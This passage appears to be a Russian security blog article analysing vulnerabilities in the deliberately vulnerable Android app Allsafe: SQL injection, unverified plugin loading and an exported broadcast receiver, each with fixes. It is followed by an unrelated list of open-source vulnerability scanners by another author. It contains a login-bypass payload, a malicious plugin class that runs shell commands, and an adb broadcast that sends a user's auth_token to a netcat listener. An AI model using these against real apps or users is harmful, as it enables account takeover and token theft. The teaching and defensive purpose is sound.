package infosecadventures.allsafe.challenges

import android.database.Cursor
import android.database.sqlite.SQLiteDatabase
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Button
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.google.android.material.textfield.TextInputEditText
import infosecadventures.allsafe.R
import java.math.BigInteger
import java.security.MessageDigest


class SQLInjection : Fragment() {
	override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {

    	val view: View = inflater.inflate(R.layout.fragment_sql_injection, container, false)
    	val db = populateDatabase()

    	val username: TextInputEditText = view.findViewById(R.id.username)
    	val password: TextInputEditText = view.findViewById(R.id.password)

    	val login: Button = view.findViewById(R.id.login)
    	login.setOnClickListener {

        	val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)
        	val data = StringBuilder()
        	if (cursor.count > 0) {
            	cursor.moveToFirst()
            	do {
                	val user = cursor.getString(1)
                	val pass = cursor.getString(2)
                	data.append("User: $user nPass: $passn")
            	} while (cursor.moveToNext())
        	}
        	cursor.close()
        	Toast.makeText(context, data, Toast.LENGTH_LONG).show()
    	}
    	return view
	}

	private fun md5(input: String): String {
    	val md = MessageDigest.getInstance("MD5")
    	return BigInteger(1, md.digest(input.toByteArray())).toString(16).padStart(32, '0')
	}
	private fun populateDatabase(): SQLiteDatabase {
    	val db = requireActivity().openOrCreateDatabase("allsafe", android.content.Context.MODE_PRIVATE, null)
    	db.execSQL("drop table if exists user")
    	db.execSQL("create table user ( id integer primary key autoincrement, username text, password text )")
    	db.execSQL("insert into user ( username, password ) values ('admin', '21232f297a57a5a743894a0e4a801fc3')")
    	db.execSQL("insert into user ( username, password ) values ('elliot.alderson', '3484cef7f6ff172c2cd278d3b51f3e66')")
    	db.execSQL("insert into user ( username, password ) values ('angela.moss', '0af58729667eace3883a992ef2b8ce29')")
    	db.execSQL("insert into user ( username, password ) values ('gideon.goddard', '65dc3431f8c5e3f0e249c5b1c6e3534d')")
    	db.execSQL("insert into user ( username, password ) values ('tyrell.wellick', '6d2e1c6dd505a108cc7e19a46aa30a8a')")
    	db.execSQL("insert into user ( username, password ) values ('darlene.alderson', 'd510b80eb22f8eb684f1a19681eb7bcf')")
    	return db
	}

```

В начале рассматриваемого файла создаем мини-базу данных db с помощью функции populateDatabase().

Далее идёт более интересный для нас метод findViewById(), так как он принимает значения username и password от пользователя.

После получения всех необходимых данных с целью авторизации выполняем динамический SQL-запрос к базе данных с помощью метода rawQuery() и видим информацию о пользователе.

Для taint-анализа необходимы источники данных. Поскольку некоторые из них могут быть потенциально заражены, навешиваем на эти данные флаги и отслеживаем их распространение по всему приложению.

Поэтому, чтобы найти зараженные данные, сначала выделим все источники ввода:

```
val username: TextInputEditText = view.findViewById(R.id.username)
val password: TextInputEditText = view.findViewById(R.id.password)
```

После того как все источники ввода найдены, проверим, не ведут ли они к уязвимости. Для этого надо проследить трассу распространения каждой из переменных. Мы рассмотрим только переменную username. Буквально через пару строк мы видим ее использование:

val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)

Это точка выполнения динамического SQL-запроса с предоставленными пользователем данными.

В данном случае по пути от точки входа до точки выполнения не обнаружено проверки, запрещающей внедрение кода, значит, перед нами уязвимость SQL Injection.

2.2. PoC

Для подтверждения текущей уязвимости в динамике достаточно на этапе авторизации ввести вместо логина следующий payload: "' OR 1=1 --.

  1. Открыть SQLInjection Activity.

  2. Ввести: "' OR 1=1 -- в поле Username.

  3. Нажать на Login.

Делаем вывод: если есть физический доступ к устройству, можно обойти проверку авторизации.

2.3. Рекомендации

Существует несколько базовых рекомендаций по устранению данного типа уязвимостей (например, рекомендуем материал, который обнаружили на просторах Хабра). Наиболее безопасный способ: предложить пользователю выбирать из ограниченного числа вариантов.

Если все же необходимо строить SQL-запросы на основе вводимых пользователем данных, то основным методом защиты будет создание белого или черного списка символов.

Как дополнительная защита работает escape-функция, экранирующая все специальные символы и слова.  

Поиск уязвимостей вручную занимает много времени, и всегда в таких случаях сохраняется вероятность, что часть из них будет пропущена. Поэтому наиболее эффективный способ — использовать средства автоматического анализа кода на уязвимости, а затем проверять вручную результаты их работы.

Например, весь вышеописанный процесс поиска уязвимостей воспроизводит статический анализатор, а именно taint-анализ.

В общих чертах процесс поиска SQL-инъекции методами статического анализа можно описать так: анализатор находит все поля, вводимые пользователем, и помечает их маркером Tainted. Эта метка автоматически растекается по коду, помечая собой всё, до чего может дотянуться. Мешать метке распространяться могут защитные ворота вроде правильной валидации данных: проходящие валидацию поля очищаются от метки Tainted.

После того как этот маркер распространился максимально далеко, программа-анализатор смотрит на место в коде, где происходит обращение к базе данных с помощью SQL-запроса. Если данное обращение помечено маркером Tainted, то программа сообщает о наличии уязвимости. Подробнее о статических анализаторах мы рассказывали в этой статье.

3. Уязвимость «Выполнение произвольного кода» (Arbitrary Code Execution)

В приложения на Android можно интегрировать дополнительные функциональные возможности с помощью внешних модулей. Это могут быть как собственные библиотеки, так и приложения сторонних производителей. Разработчики часто используют подобные интеграции для добавления фильтров камеры, наборов шрифтов, тем.

Такие модули исполняются в контексте основного приложения (с теми же правами), делая его уязвимым к «выполнению произвольного кода» (Arbitrary code execution). Этот тип атак реализуется через эксплуатацию уязвимостей «Нарушение целостности данных и программного обеспечения» (Software and Data Integrity Failures), которая занимает восьмую позицию в рейтинге уязвимостей web-приложений OWASP Top 10 2021. Согласно данным Oversecured, как минимум 1 из 50 популярных приложений имеет данную уязвимость (ссылка на исследование; доступ к ресурсу заблокирован для пользователей из России).

После подключения модуля основное приложение ищет его среди всех приложений, установленных на данном устройстве, используя значения из файлов манифеста AndroidManifest.xml каждого приложения. В случае слабой верификации приложение злоумышленника может быть принято за легитимное. После загрузки модуля его код исполняется в контексте основного приложения, что ведет к выполнению произвольного кода. В результате злоумышленник может похитить любую конфиденциальную информацию из пользовательского ввода или полученную с сервера, а также подменить эту информацию или получить возможность отслеживать пользователя.

Чтобы предотвратить возникновение данной уязвимости, требуется проверить код на вхождения методов, обращающихся к загрузке сторонних библиотек. Если их использование необходимо, хорошей практикой является проверка целостности подобных библиотек. Отсутствие проверки входит в перечень общих слабостей CWE-494: «Загрузка кода без проверки целостности».

Рассмотрим фрагмент кода приложения. Здесь с помощью метода getInstalledPackages() сканируется информация об установленных приложениях, и при совпадении префикса имени packageName с заданным ("com.victim.module.") запускается processModule():

public static void searchModules(Context context)
{
   for (PackageInfo info :  
context.getPackageManager().getInstalledPackages(0)) {
   String packageName = info . packageName;
   if (packageName.startsWith("com.victim.module.")) {
       processModule(context, packageName);
   }
   //...
}

В функции processModule() непосредственно происходит загрузка классов данного стороннего приложения с помощью метода loadClass() с последующим выполнением его кода:

public static void processModule(Context context, String packageName)
{
   Context appContext = context . createPackageContext (packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
   ClassLoader classLoader = appContext . getClassLoader ();
   try {
       Object interface = classLoader.loadClass("com.victim.MainInterface").getMethod("getInterface").invoke(null);
       //...
   }
}

Получается, уязвимое приложение переходит к загрузке класса любого приложения, префикс имени которого совпадает с заданным. Злоумышленник может создать приложение с подходящим именем пакета (с заданным префиксом), содержащее требуемый класс com.victim.MainInterface и метод getInterface(). Это приведет к выполнению кода нелегитимного приложения в контексте основного.

3.1. Статический анализ

Эта уязвимость наглядно представлена в приложении Allsafe. Рассмотрим следующий фрагмент исходного кода:

private fun invokePlugins() {
   for (packageInfo in packageManager.getInstalledPackages(0)) {
       val packageName: String = packageInfo.packageName
       if (packageName.startsWith("infosecadventures.allsafe")) {
           try {
               val packageContext = createPackageContext(packageName,
                       CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)
               packageContext.classLoader
                       .loadClass("infosecadventures.allsafe.plugin.Loader")
                       .getMethod("loadPlugin")
                       .invoke(null)
           } catch (ignored: Exception) {
           }
       }
   }
}

Функция invokePlugins() производит сравнение префикса названия модуля с константой "infosecadventures.allsafe", а затем пытается загрузить из приложений с таким же префиксом метод loadPlugin() класса infosecadventures.allsafe.plugin.Loader.

Для атаки злоумышленнику требуется создать приложение с требуемым префиксом в названии, а затем создать в нем класс и метод с соответствующими названиями. Отсутствие дополнительных проверок позволяет подменить загружаемый модуль.

Поиск описанной уязвимости не слишком сложен при проведении статического анализа: имея исходный код приложения, необходимо найти вызовы методов, обращающихся к загрузке сторонних библиотек, и проверить наличие валидации их подписей. С этой задачей можно быстро справиться при помощи статических анализаторов безопасности приложений.

3.2 PoC

Для подтверждения уязвимости в динамике понадобится убедить пользователя установить на устройство приложение с названием infosecadventures.allsafe.plugin, тогда из контекста infosecadventures.allsafe появится возможность выполнять произвольный код.

  1. Создать приложение с названием infosecadventures.allsafe.plugin.

  2. Создать класс Loader и определить в нём метод loadPlugin().

```
package infosecadventures.allsafe.plugin;

import android.util.Log;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Loader {

    private static String getShellOutput(String cmd) {
        StringBuilder result = new StringBuilder();
        try {
            Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
            BufferedReader buffer = new BufferedReader(
                    new InputStreamReader(process.getInputStream())
            );
            String line;
            while ((line = buffer.readLine()) != null) {
                result.append(line);
            }
        } catch (Exception e) {
        }
        return result.toString();
    }

    public static Object loadPlugin() {
        Log.i("poc", getShellOutput("id"));
        return null;
    }
}
```
  1. Установить приложение infosecadventures.allsafe.plugin на устройство пользователя.

В качестве подтверждения концепции при вызове метода loadPlugin() происходит выполнение shell-команды: sh -c id. В логи записывается значение UID приложения, в контексте которого был вызван метод: Log.i("poc", getShellOutput("id"));

При установке мобильного приложения Android присваивает ему уникальный UID. Чтобы найти UID для приложения, необходимо выполнить следующую команду: adb shell dumpsys package your-package-name | grep userId=.

Значения UID для приложения infosecadventures.allsafe userId=10086, а для приложения infosecadventures.allsafe.plugin userId=10090.

При запуске уязвимого приложения infosecadventures.allsafe будет выполнен код из стороннего приложения infosecadventures.allsafe.plugin, что подтверждается информацией в логах: adb logcat | grep poc.

Вывод совпадает с UID уязвимого приложения infosecadventures.allsafe, в контексте которого был вызван сторонний метод.

3.3. Рекомендации

Для защиты от уязвимости нужно осуществить проверку не только префикса имени, но и подписи интегрируемого стороннего приложения:

if(packageName.startsWith("com.victim.module.") && packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH)

Если подделать название модуля, класса и метода не составляет сложности, то сертификат подделать не удастся. Злоумышленник не сможет подписать свое приложение тем же сертификатом, поэтому проверка подписи предотвратит загрузку нелегитимного модуля.

4. Уязвимость «Небезопасный широковещательный приемник» (Insecure Broadcast Receiver)

Уязвимость Insecure Broadcast Receiver относится к типу Broken Access Control, занимающему первое место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021.

Broadcast Receivers — это компоненты Android, которые отслеживают широковещательные сообщения (broadcast messages) и события (events), сгенерированные сторонними программами. При их неправильной реализации установленные на устройстве вредоносные приложения могут нарушить работу текущего приложения — заставить выполнить вредоносную операцию.

Чтобы найти и исправить уязвимость, обычно достаточно рассмотреть файл AndroidManifest.xml. Это обязательный файл для каждого приложения Android, он описывает некоторые глобальные значения приложения и все его компоненты. В частности — то, как могут быть приведены в действие Activity, и какие данные они будут обрабатывать. За запуск различных Activity отвечают приёмники (receivers), которые сконфигурированы в файле AndroidManifest.xml.

Давайте рассмотрим в качестве примера объявление broadcast receiver в соответствующем файле из известного нам приложения Allsafe:

```
    	<receiver
        	android:name=".challenges.NoteReceiver"
        	android:exported="true">
        	<intent-filter>
            	<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />
        	</intent-filter>
    	</receiver>
```

Это объявление приёмника с явно заданным параметром exported, равным true. Это означает, что данный receiver может принимать сообщения от сторонних программ, в том числе и злонамеренных. При этом у него нет никакой защиты, которая содержала бы список программ, от которых допустимо принимать информацию.

Важно понимать, что значение по умолчанию для тега android:exportedfalse, то есть все Activity в AndroidManifest.xml, не имеющие этого тега, доступны только внутри приложения, и это безопасно. Если Activity содержит какой-либо intent-filter, то значением по умолчанию для этого тега будет true, что делает Activity общедоступной.

Класс NoteReceiver получает intent и извлекает из него String-объекты с именами server, note и notification_message. Это те самые значения, которыми может манипулировать злоумышленник:

```
public class NoteReceiver extends BroadcastReceiver {

    @RequiresApi(api = Build.VERSION_CODES.O)
    @Override
    public void onReceive(Context context, Intent intent) {
        String server = intent.getStringExtra("server");
        String note = intent.getStringExtra("note");
        String notification_message = intent.getStringExtra("notification_message");
…
}
}

4.2. PoC

Динамически подтвердить данную уязвимость и получить по итогу конфиденциальную информацию пользователя (в данном случае auth_token) возможно в версиях Android ниже 9.0, т. к. в последующих версиях http-коммуникация отключена (по умолчанию используется https).

Если у вас есть желание воспроизвести текущую уязвимость в версиях Android 9.0 и выше, вам необходимо переконфигурировать текущее приложение так, как описано в этой статье.

  1. Для начала запускаем у себя процесс Netcat для прослушивания порта 80, то есть мы находимся в ожидании запроса на 192.168.0.104: nc -l 80

  2. Отправляем broadcast для infosecadventures.allsafe.action.PROCESS_NOTE с установленными значениями server, note и notification_message:

adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE -e server 192.168.0.104 -e note ThosIsPoc -e notification_message ThisIsPoc infosecadventures.allsafe

  1. Будет зафиксирован GET-запрос:

Таким образом, с помощью стороннего broadcast-сообщения мы зафиксировали конфиденциальный auth_token пользователя приложения.

4.3. Рекомендации

Устранить данную уязвимость можно одним из двух способов: для уязвимой Activity в AndroidManifest.xml явно указать тег android:exported равным false. В случае, когда значение false недопустимо, можно добавить permission c protectionLevel="signature". Receiver с таким уровнем защиты будет принимать сообщения только от приложений, подписанных (signed) тем же ключом.

Безопасная версия этого участка кода должна выглядеть примерно так:

```
    	<receiver
        	android:name=".challenges.NoteReceiver"
        	android:exported="true"
        	android:permission="defaultName">
        	<intent-filter>
            	<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />
        	</intent-filter>
    	</receiver>
```

После исправления для корректной работы приложения в начале AndroidManifest.xml (там, где объявляются permissions) следует добавить:

```
<permission android:name="defaultName" android:protectionLevel="signature" />
```

Чтобы иметь меньше шансов совершить подобную ошибку или проще её найти, имеет смысл всегда явно указывать значение атрибута exported.

5. Итог

Каждый из подходов к поиску уязвимостей имеет свои преимущества. Статический — не требует сборки и запуска, а значит и дополнительных временных и системных ресурсов.  Динамический и бинарный анализ можно использовать, если нет доступа к исходному коду. При этом бинарный анализ осуществляет полное покрытие кода, а динамический анализ не имеет ложных срабатываний.

Из этого следует вывод: анализ максимально эффективен и захватывает максимум уязвимостей при использовании различных методов.

Вы наверняка уже слышали: если проводить регулярный анализ в процессе разработки, можно быстрее и проще устранить возникшие уязвимости и НДВ. Это правда – ровно, как и то, что для их поиска требуется обширная и своевременно пополняемая база знаний и соответствующая квалификация разработчика в сфере информационной безопасности.

Повышение безопасности приложения требует времени, а как известно, чего нет у разработчика, так это времени. Проблему временных затрат на анализ можно решить с помощью автоматизации процесса.

Наша команда работает над развитием сканера уязвимостей, который осуществляет статический анализ как с наличием исходного кода, так и без него. В этом случае файл может быть исполняемым, а анализ является бинарным.

При использовании такого инструмента безопасность мобильного приложения может быть проанализирована автоматически на каждом этапе разработки. Это ускоряет поиск уязвимостей и их устранение за счет подробных описаний уязвимостей и точных рекомендаций.

Если у вас есть вопросы по поиску и устранению уязвимостей или выстраиванию процесса безопасной разработки – оставляйте их в комментариях, мы обязательно ответим ????

Авторы: команда Центра разработки решений по контролю безопасности ПО «РТК-Солар» — Марина Димаксян, аналитик ИБ, Борис Кондратенков, аналитик-разработчик, Татьяна Куцовол, технический лидер

Инструменты оценки уязвимостей сканируют системы на наличие известных уязвимостей, неправильной конфигурации и других недостатков. Затем эти сканеры выдают отчеты для отделов ИТ-безопасности и управлений разработкой приложений (DevOps), которые передают приоритетные задачи для устранения недостатков.

Средства тестирования уязвимостей с открытым исходным кодом обеспечивают экономически эффективные решения для обнаружения уязвимостей. Многие ИТ-команды даже развертывают один или несколько инструментов с открытым исходным кодом в дополнение к коммерческим инструментам в качестве резервной копии или для проверки уязвимостей.

Сканеры уязвимостей веб-сайтов и приложений с открытым исходным кодом

В мире разработчики непрерывно создают сложные веб-сайты и приложения. Сканеры веб-сайтов и приложений (WebApp) тестируют код различными способами, чтобы выявить ошибки программирования и уязвимости до того, как хакеры смогут их обнаружить.

Большинство инструментов обнаруживают распространенные, но критические уязвимости, перечисленные в OWASP ТОП 10, такие как SQL-инъекции (SQLi) или межсайтовый скриптинг (XSS). Организации будут делать свой выбор на основе гибкости развертывания, скорости сканирования, точности сканирования и подключения к другим инструментам, таким как системы продажи билетов или продукты для программирования рабочего процесса. Однако, если стоимость лицензирования не является барьером, многие команды будут внедрять несколько инструментов с открытым исходным кодом одновременно.

OSV-Scanner – лучший сканер кода с открытым исходным кодом

OSV Scanner эффективно сканируют статическое программное обеспечение на предмет уязвимостей программного кода с открытым исходным кодом. Однако OSV, разработанный Google, берет информацию из базы данных Уязвимость в открытом исходном коде OSV.dev и работает во множестве различных экосистем.

Хотя OSV является новичком, он предоставляет более широкий спектр источников и уязвимостей и должен рассматриваться как замена или, по крайней мере, дополнительный инструмент сканирования с открытым исходным кодом для команд DevOps.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Сканирует программное обеспечение для поиска зависимостей и уязвимостей, которые их затрагивают
  • Хранит информацию о затронутых версиях в JSON, машиночитаемом формате для интеграции с пакетами разработчика
  • Сканирует каталоги, спецификации программного обеспечения (SBOM), lockfiles, образы docker на базе Debian или программное обеспечение, запущенное в контейнерах Docker.

Плюсы

  • Извлекает уязвимости из огромного количества источников: Apine, Android, crates.io, Debian, Go, Linux, Maven, npm, NuGet, OSS-Fuzz, Packagist, PyPl, RubyGems и другие.
  • Показывает сжатые результаты, что сокращает время, необходимое для устранения.
  • Может игнорировать уязвимости по ID номеру.
  • Все еще находится в активной разработке Google, поэтому будут добавлены новые функции

Минусы

  • Находится в активной разработке, поэтому не хватает полных возможностей для интеграции рабочего процесса разработчика, уязвимостей C/C

sqlmap – Лучший для сканирования баз данных

Некоторые команды DevOp хотят просканировать внутреннюю базу данных, прежде чем использовтаь ее. sqlmap позволяет проводить сканирование уязвимостей баз данных и тестирование на проникновение на широком спектре баз данных.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Автоматически распознает и использует хэши паролей
  • Разработан на языке Python и может быть запущен на любой системе с интерпретатором python
  • Может напрямую подключаться к базе данных для тестирования через учетные данные СУБД, IP-адрес, порт и имя базы данных
  • Полная поддержка более 35 систем управления базами данных, включая MySQL, Oracle, Postgre SQL, Microsoft SQL Server, IBM DB2, Sybase, SAP MaxDB, Microsoft Access, Amazon Redshift, Apache Ignite и т. д.
  • Выполняет шесть типов техник SQL Injection: слепой на основе булевых функций, слепой на основе времени, на основе ошибок, на основе UNION-запросов, стекированных запросов и внеполосный.

Плюсы

  • Может выполнять взлом паролей
  • Может искать определенные имена баз данных и таблицы
  • Поддерживает выполнение произвольных команд и получение стандартных выводов

Минусы

  • Инструмент командной строки без графического интерфейса пользователя
  • Очень специализированный инструмент
  • Требует знаний в области баз данных для эффективного использования

Wapiti – лучший для тестирования SQLi

Wapiti выполняет сканирование веб-сайтов и приложений методом «черного ящика», не исследуя код. Вместо этого Wapiti использует методы fuzzing для внедрения полезной нагрузки в скрипты и проверки на общие уязвимости.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Поддерживает методы GET и POST HTTP для атак
  • Модули проверяют инъекции SQL (SQLi), инъекции XPath, межсайтовый скриптинг (XSS), раскрытие файлов, инъекции Xml eXternal Entity (XXE), перечисление папок и файлов и т.д.
  • Поддерживает HTTP, HTTPS и SOCKS5 прокси
  • Аутентификация через Basic, Digest, NTLM или GET/POST на формах входа
  • Сканирование может быть выполнено для доменов, папок, страниц и URL.

Плюсы

  • Проверяет широкий спектр потенциальных уязвимостей
  • Некоторые тесты показывают, что Wapiti обнаруживает больше уязвимостей SQLi и Blind SQLi, чем другие инструменты с открытым исходным кодом, такие как ZAP

Минусы

  • Инструмент командной строки без графического пользовательского интерфейса
  • Требует значительного опыта и знаний для использования

ZAP (OWASP Zed Attack Proxy) – лучший для XSS тестирования

OWASP’s Zed Attack Proxy., также доступный в Kali Linux, помещается между браузером тестировщика и веб-приложением, перехватывая запросы и действуя как «прокси». Эта техника позволяет ZAP тестировать приложения путем изменения содержимого, пересылки пакетов и других действий, имитирующих поведение пользователей и хакеров.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Доступен для основных операционных систем и Docker
  • Доступны сканы, упакованные в Docker, для быстрого запуска
  • Доступна среда автоматизации
  • Доступен комплексный API
  • Доступно ручное и автоматизированное исследование

Плюсы

  • Активно поддерживается командами OWASP
  • Доступны графический интерфейс и интерфейс командной строки
  • Быстрое обучение и отличная документация
  • Удобен для различных уровней, от новичков до команд безопасности
  • Очень хорошо обнаруживает XSS-уязвимости
  • Может выполнять fuzzing-атаки
  • ZAP широко используется тестировщиками на проникновение, поэтому использование ZAP дает отличное представление о том, какие уязвимости могут найти случайные злоумышленники

Минусы

  • Требуются дополнительные плагины для некоторых функций
  • Требуется определенный опыт для использования
  • Как правило, дает больше ложных срабатываний, чем коммерческие продукты

Сканеры уязвимостей инфраструктуры с открытым исходным кодом

Специалисты по безопасности и ИТ впервые разработали сканеры уязвимостей для поиска отсутствующих патчей и неправильной конфигурации в традиционной сетевой инфраструктуре ИТ: серверах, брандмауэрах и сетевом оборудовании. С ростом сложности облачных вычислений, виртуальных машин и подключенных устройств инструменты сканирования уязвимостей стали более многочисленными и масштабными, чтобы идти в ногу со временем.

CloudSploit – лучший сканер облачных ресурсов

Aqua предоставила открытый ресурс основного механизма сканирования для своего CloudSploit, чтобы пользователи могли загружать, изменять и пользоваться преимуществами этого инструмента. Сканирование CloudSploit может выполняться по требованию или быть настроено на непрерывную работу и передачу предупреждений командам безопасности и DevOps.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Использует RESTful интерфейс для API
  • API можно вызывать из командной строки, скриптов или систем сборки (Jenkins, CircleCL, AWS CodeBuild и т.д.).)
  • Контроль чтения/записи позволяет предоставлять каждому API-ключу определенные разрешения
  • Каждый вызов API отдельно отслеживается
  • Непрерывный аудит CIS Benchmark для AWS, Azure и Google Cloud
  • Непрерывное сканирование позволяет получать предупреждения об изменениях в облачной инфраструктуре, которые приводят к появлению уязвимостей, таких как изменение групп безопасности, новые доверенные ключи SSH, деактивация устройств MFA, удаление журналов и т.д.

Плюсы

  • Результаты в реальном времени
  • Безопасные подписи HMAC256 для аутентификации ключей API
  • Сканирование более 95 рисков безопасности за несколько секунд
  • Интуитивно понятный веб-интерфейс
  • Поддерживает рамки соответствия HIPAA и PCI (DSS)
  • Интегрируется для отправки предупреждений через Slack, Splunk, OpsGenie, Amazon SNS, электронную почту и многое другое.

Минусы

  • Недоступно через GitHub
  • Автоматическая рассылка обновлений, некоторые инструменты отчетности и некоторые интеграции могут быть доступны только в платном продукте (дополнительные функции не являются открытыми).

Firmwalker – лучший для сканирования IoT

Команды разработчиков разработали инструменты для сканирования прошивки и настроек сетевого оборудования и Интернета вещей (IoT). Однако большинство из них больше склоняются к инструментам безопасности, чем к сканерам уязвимостей. Однако Firmwalker может искать в извлеченной или смонтированной прошивке и сообщать о потенциальных уязвимостях.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Может искать файлы, связанные с SSl, и каталоги etc/ssl
  • Может искать файлы конфигурации, сценарии и pin
  • Может распознавать ключевые слова, такие как admin, password и remote, и сообщать о них.
  • Может искать URL, адреса электронной почты и IP-адреса

Плюсы

  • Выполняет аудит безопасности IoT, сетевого, OT и другого встроенного ПО
  • Может находить неожиданные файлы, встроенные пароли или скрытые URL
  • Доступен в виде bash-скрипта

Минусы

  • Требует некоторых навыков программирования для эффективного использования
  • Нет графического интерфейса
  • Поддержка Shodan API в настоящее время является экспериментальной

Nikto2 – лучший сканер веб-серверов

Nikto2 – это сканер веб-сервера с открытым исходным кодом, который может обнаружить опасные файлы и программы, а также неправильную конфигурацию сервера, которую могут использовать хакеры. Пользователи также могут получить доступ к Nikto в Kali Linux.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Основные возможности

  • Проверяет более 6700 потенциально опасных файлов и программ
  • Проверяет более 1250 устаревших версий серверов и 270 проблем, связанных с конкретными версиями
  • Проверяет наличие нескольких индексных файлов, опции HTTP-сервера
  • Проверяет установленные веб-серверы и программное обеспечение
  • Может выполнять угадывание учетных данных
  • Доступны методы для уменьшения количества ложных срабатываний
  • Выводит данные в форматы TST, XML, HTML, NBE или CSV

Плюсы

  • Небольшое и легкое программное обеспечение, но при этом мощное
  • Поддерживает файлы для ввода и вывода
  • Элементы сканирования и плагины часто обновляются, но обновляются автоматически
  • Обнаруживает и отмечает многие общие проблемы с веб-серверами
  • Поддержка SSL для Unix и Windows OS, поддержка HTTP прокси
  • Возможность развертывания методов кодирования для обхода и тестирования систем обнаружения вторжений

Минусы

  • Нет графического интерфейса, только управление через командную строку
  • Очень специфичен, что может запутать новичков
  • Поиск более ограничен, чем у некоторых коммерческих инструментов
  • Тщательное сканирование может занять более 45 минут

OpenSCAP – лучший для сканирования, ориентированный на соответствие нормативным требованиям

OpenSCAP – это фреймворк с открытым исходным кодом для платформы Linux, основанный на SCAP, поддерживаемый Национальным институтом стандартов и технологий США (NIST). Проект OpenSCAP создает инструменты с открытым исходным кодом для реализации и внедрения этого открытого стандарта, используемого для перечисления недостатков и неправильной конфигурации.

Сканер предоставляет обширный набор инструментов, поддерживающих сканирование веб-приложений, сетевой инфраструктуры, баз данных и хостов. В отличие от большинства сканеров, проверяющих общие уязвимости и уязвимости (CVE), OpenSCAP тестирует устройство на соответствие стандарту SCAP.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Выполняет оценку уязвимостей в системах
  • Получает доступ к публичным базам данных уязвимостей
  • Инструмент OpenSCAP Base представляет собой сертифицированный NIST инструмент сканирования командной строки, для большей простоты использования доступен графический интерфейс пользователя (GUI)
  • Демон OpenSCAP Daemon может непрерывно сканировать инфраструктуру на соответствие политике SCAP
  • Другие Инструменты OpenSCAP обеспечивают сканирование рабочего стола, централизованные результаты сканирования или совместимые образы компьютеров
  • Интегрируется с решениями для управления системами, такими как Red Hat Satellite 6, RH Access Insights и другими
  • Опция Atomic Scan может сканировать контейнеры на наличие уязвимостей безопасности и соответствие требованиям.

Плюсы

  • Быстрая идентификация проблем безопасности и мгновенные корректирующие операции
  • Поддерживается Red Hat и другими поставщиками с открытым исходным кодом
  • Сочетает сканирование уязвимостей безопасности и соответствие нормативным требованиям
  • Может сканировать образы контейнеров docker

Минусы

  • Значительно сложнее в освоении, чем многие другие инструменты
  • Множество инструментов в системе OpenSCAP может запутать
  • Пользователи должны знать политику безопасности, которая соответствует их потребностям.
  • Многие инструменты работают только в Linux, а некоторые – только в определенных дистрибутивах Linux

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

OpenVAS – лучший для сканирования сетевых узлов и сетей в целом

Разработчики создали OpenVAS как многоцелевой сканер, используя последний доступный открытый код Nessus, который сейчас является ведущим на рынке коммерческим продуктом, выпускаемым компанией Tenable. OpenVAS поддерживает высокие возможности для проведения крупномасштабных оценок и тестов на уязвимость сети на традиционных конечных точках и сетях. Инструмент собирает сведения из огромного количества источников и обширной базы данных уязвимостей.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Сканирует системы на наличие известных уязвимостей и отсутствующих патчей
  • Веб-консоль управления
  • Может быть установлена на любой локальной или облачной машине
  • Предоставляет информацию о каждой уязвимости, например, как устранить уязвимость или как злоумышленники могут использовать уязвимость

Плюсы

  • Активно поддерживается Greenbone
  • Охватывает множество CVE (распространенных уязвимостей и уязвимостей)
  • База данных сканирования обновляется регулярно
  • Большое сообщество для поддержки коллег
  • Организации, переросшие версию Community Edition, могут перейти на Greenbone Enterprise Appliance или Greenbone Cloud Service.

Минусы

  • Может быть непосильной для новичков и требует некоторого опыта
  • Большое количество одновременных сканирований может вывести программу из строя
  • Нет управления политиками
  • Greenbone Community Edition сканирует только основные конечные устройства или продукты домашних приложений, такие как Ubuntu Linux, MS Office и т.д.
  • Чтобы сканировать корпоративные продукты или получить доступ к политикам, организациям необходимо перейти на платную версию Greenbone Enterprise.

Nmap – лучший для сканирования сетей и портов

Nmap Security Scanner поддерживает бинарные пакеты для Windows, macOS и Linux и включен во многие сборки Linux. Nmap использует IP-пакеты для сканирования портов устройств и определения того, какие хосты, службы и операционные системы доступны с проверяемого ресурса. Специалисты по тестированию на проникновение и ИТ-команды ценят nmap как быстрый, эффективный и легкий инструмент для составления списка открытых портов системы.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Основные возможности

  • Обнаружение хостов быстро определяет IP-адреса, доступные в сети
  • Использует характеристики стека TCP/IP для определения операционных систем устройств
  • Растущая библиотека из 500 скриптов для расширенного обнаружения сети и оценки уязвимостей

Плюсы

  • Быстро сканирует открытые порты системы и определяет доступные TCP/UDP сервисы
  • Опрашивает порты для определения запущенных протоколов, приложений и номеров версий
  • Большая база пользователей и сообщество разработчиков

Минусы

  • Нет официальной поддержки клиентов
  • Требуется определенный опыт и знания в области ИТ для эффективного использования


Зарубин Иван


Эксперт по Linux и Windows

